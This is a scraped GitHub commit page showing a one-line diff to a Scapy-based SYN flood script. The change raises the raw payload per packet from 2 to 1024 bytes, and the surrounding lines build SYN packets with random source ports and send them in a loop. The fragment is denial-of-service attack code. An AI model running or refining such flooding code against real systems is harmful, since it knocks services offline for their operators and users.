We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
1 parent 1ad6e18 commit 165ad07Copy full SHA for 165ad07
scapy/syn-flood/syn_flood.py
@@ -20,7 +20,7 @@
20
tcp = TCP(sport=RandShort(), dport=target_port, flags="S")
21
# add some flooding data (1KB in this case, don't increase it too much,
22
# otherwise, it won't work.)
23
-raw = Raw(b"X"*2)
+raw = Raw(b"X"*1024)
24
# stack up the layers
25
p = ip / tcp / raw
26
# send the constructed packet in a loop until CTRL+C is detected
0 commit comments